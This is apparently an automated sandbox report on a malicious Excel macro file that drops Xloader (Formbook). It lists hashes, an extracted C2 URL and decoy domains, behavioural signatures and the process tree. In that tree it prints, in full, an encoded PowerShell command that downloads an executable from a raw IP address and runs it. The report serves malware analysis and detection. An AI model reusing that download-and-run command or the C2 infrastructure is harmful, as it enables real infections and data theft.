Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    04-11-2021 06:31

General

  • Target

    catalogue_2021_samples_list_revise_ol.xlsm

  • Size

    22KB

  • MD5

    dcc165863b274e869ea3fcad7499b793

  • SHA1

    fb38b9c991744087932066e5e6ba9ea5377030cf

  • SHA256

    8ceae17c6a9fec00be0b94843b44fd2b19909cc080fcaa3a29a994f98ee6bc3a

  • SHA512

    5ee459191858947e3273e05e53404ef76779dce9b8f60ed2d6f0f888543af0585d1e46c3bb0e5296b2cd2c63883b6f51f8a27efff8b695e52ffaca73a1b2c10e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://84.252.122.23/acs/msn.exe

Extracted

Family

xloader

Version

2.5

Campaign

pufi

C2

http://www.homestechs.com/pufi/

Decoy

fusiongroupgames.net

hugevari.com

rebeccagriffiths.com

trocaoferta.com

theslashapp.com

codezonesoftware.xyz

sottocommunications.com

minicreators.online

course2millions.com

hfm5n1dhkjqwpe.xyz

xlab-ub.com

silvanaribeirocake.com

thefabinteriordesign.com

mg-leadership.com

petbort.com

ndust.net

203040302.xyz

jakital.com

shophuunghia.info

rednacionaldejuecesrd.net

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Xloader Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\catalogue_2021_samples_list_revise_ol.xlsm
      2⤵
      • Deletes itself
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Modifies registry class
      • NTFS ADS
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: RenamesItself
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c Vmjyqpdtjzulujohdgjh.bat
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBWAGEAbABvAGgAYwBoAGMAdAB3AG4AbwBhAGoALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAzAC8AYQBjAHMALwBtAHMAbgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:612
          • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
            "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1532
            • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
              "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
              6⤵
              • Executes dropped EXE
              PID:1472
            • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
              "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              PID:2036
    • C:\Windows\SysWOW64\chkdsk.exe
      "C:\Windows\SysWOW64\chkdsk.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe"
        3⤵
          PID:1624

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
      MD5

      2b5dc0ab0d788a63f4a09f80c2de0799

      SHA1

      25d10abffaa19611b1376d8e3bd1a541fdc6afed

      SHA256

      8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

      SHA512

      7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

    • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
      MD5

      2b5dc0ab0d788a63f4a09f80c2de0799

      SHA1

      25d10abffaa19611b1376d8e3bd1a541fdc6afed

      SHA256

      8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

      SHA512

      7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

    • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
      MD5

      2b5dc0ab0d788a63f4a09f80c2de0799

      SHA1

      25d10abffaa19611b1376d8e3bd1a541fdc6afed

      SHA256

      8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

      SHA512

      7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

    • C:\Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
      MD5

      2b5dc0ab0d788a63f4a09f80c2de0799

      SHA1

      25d10abffaa19611b1376d8e3bd1a541fdc6afed

      SHA256

      8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

      SHA512

      7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

    • C:\Users\Admin\Documents\Vmjyqpdtjzulujohdgjh.bat
      MD5

      c49216c028e1b39efe0984f0ef882992

      SHA1

      aa5b4385e59980272f17586ac85a8dfaf97956c5

      SHA256

      5217348409dd94a05c09528914b59d0fc665053bdc180df055bc6bc557c0ebdc

      SHA512

      46e9531f065c49f9ba4843e266ae5c3aa5d994ff873de2951bc6d1c3425e5a8b90872a9b9a0050be6353aadf3da663ee6770a067b74689b4ffa60daf575c253f

    • \Users\Admin\AppData\Roaming\Valohchctwnoaj.exe
      MD5

      2b5dc0ab0d788a63f4a09f80c2de0799

      SHA1

      25d10abffaa19611b1376d8e3bd1a541fdc6afed

      SHA256

      8f06ef3fb5b077f1d8c9b9ff9ac36a5d019c8c829fc7374dbf03a407793ca29f

      SHA512

      7456bb3e5bee9626d7fa285c0112eb764327678f3f451b640d1f0de4fac46e6c0a0a8cf3f893a56ef5037fea8d8f4c78e85a0132edfca4a22b7e399705386311

    • memory/612-59-0x0000000000000000-mapping.dmp
    • memory/612-61-0x0000000002450000-0x000000000309A000-memory.dmp
      Filesize

      12.3MB

    • memory/612-60-0x0000000075BD1000-0x0000000075BD3000-memory.dmp
      Filesize

      8KB

    • memory/896-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/896-54-0x000000002FAE1000-0x000000002FAE4000-memory.dmp
      Filesize

      12KB

    • memory/896-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/896-55-0x0000000071781000-0x0000000071783000-memory.dmp
      Filesize

      8KB

    • memory/996-87-0x0000000001EE0000-0x0000000001F70000-memory.dmp
      Filesize

      576KB

    • memory/996-84-0x0000000000A40000-0x0000000000A47000-memory.dmp
      Filesize

      28KB

    • memory/996-86-0x0000000001FE0000-0x00000000022E3000-memory.dmp
      Filesize

      3.0MB

    • memory/996-85-0x00000000000C0000-0x00000000000E9000-memory.dmp
      Filesize

      164KB

    • memory/996-82-0x0000000000000000-mapping.dmp
    • memory/1388-91-0x000007FEB14A0000-0x000007FEB14AA000-memory.dmp
      Filesize

      40KB

    • memory/1388-90-0x000007FEF64C0000-0x000007FEF6603000-memory.dmp
      Filesize

      1.3MB

    • memory/1388-89-0x0000000004320000-0x000000000440A000-memory.dmp
      Filesize

      936KB

    • memory/1388-81-0x0000000006B80000-0x0000000006CDE000-memory.dmp
      Filesize

      1.4MB

    • memory/1532-69-0x0000000000420000-0x0000000000426000-memory.dmp
      Filesize

      24KB

    • memory/1532-71-0x00000000047B0000-0x00000000047FC000-memory.dmp
      Filesize

      304KB

    • memory/1532-70-0x0000000005030000-0x0000000005031000-memory.dmp
      Filesize

      4KB

    • memory/1532-66-0x00000000000A0000-0x00000000000A1000-memory.dmp
      Filesize

      4KB

    • memory/1532-63-0x0000000000000000-mapping.dmp
    • memory/1624-83-0x0000000000000000-mapping.dmp
    • memory/1772-57-0x0000000000000000-mapping.dmp
    • memory/2036-79-0x0000000000810000-0x0000000000B13000-memory.dmp
      Filesize

      3.0MB

    • memory/2036-80-0x0000000000130000-0x0000000000141000-memory.dmp
      Filesize

      68KB

    • memory/2036-76-0x000000000041D450-mapping.dmp
    • memory/2036-75-0x0000000000400000-0x0000000000429000-memory.dmp
      Filesize

      164KB

    • memory/2036-74-0x0000000000400000-0x0000000000429000-memory.dmp
      Filesize

      164KB

    • memory/2036-73-0x0000000000400000-0x0000000000429000-memory.dmp
      Filesize

      164KB